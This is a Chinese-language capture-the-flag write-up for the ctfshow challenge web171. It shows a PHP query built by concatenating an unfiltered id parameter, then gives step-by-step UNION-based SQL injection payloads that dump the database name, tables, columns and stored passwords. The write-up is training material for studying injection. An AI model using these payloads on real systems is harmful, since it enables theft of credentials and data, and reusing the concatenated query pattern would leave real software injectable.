web171(拼接sql语句查找指定ID用户+select模块无过滤注入1 )
查询语句 //拼接sql语句查找指定ID用户 $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

刚进去咱就能看出来,⼀共有3列,分别是id、username、password
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
可以发现闭合的⽅式为单引号,如果输⼊1',则构成了id = '1'' limt 1; 肯定会出现报错

但是可以使⽤--+来注释掉后⾯那个引号,即id='1' limit 1;

于是⽤union查询来获取database
1' union select database(),2,3 --+

select、union的⽤法是 select [列名],... from 表名 select [列名],... from 表名 where 条件 union:该操作符⽤于取得两个结果集的并集。当使⽤该操作符时,会⾃动去掉结果集中重复⾏。
有些⽤的是-1,把id改成-1以达到把查询id回显的数据给置空的⽬的。即
-1' union select database(),2,3 --+

成功获取库名字后,再查询他的表名。使⽤group_concat()函数,此函数把相同⾏的数据都组合起来
-1' union select group_concat(table_name),2,3 from information_schema.tables where table_schema="ctfshow_web"--+

然后查列名
-1' union select group_concat(column_name),2,3 from information_schema.columns where table_name="ctfshow_user"--+

虽然⼀开始就知道3列是id username password,但是还是⾛个正常流程
-1' union select password,2,3 from ctfshow_user --+


浙公网安备 33010602011771号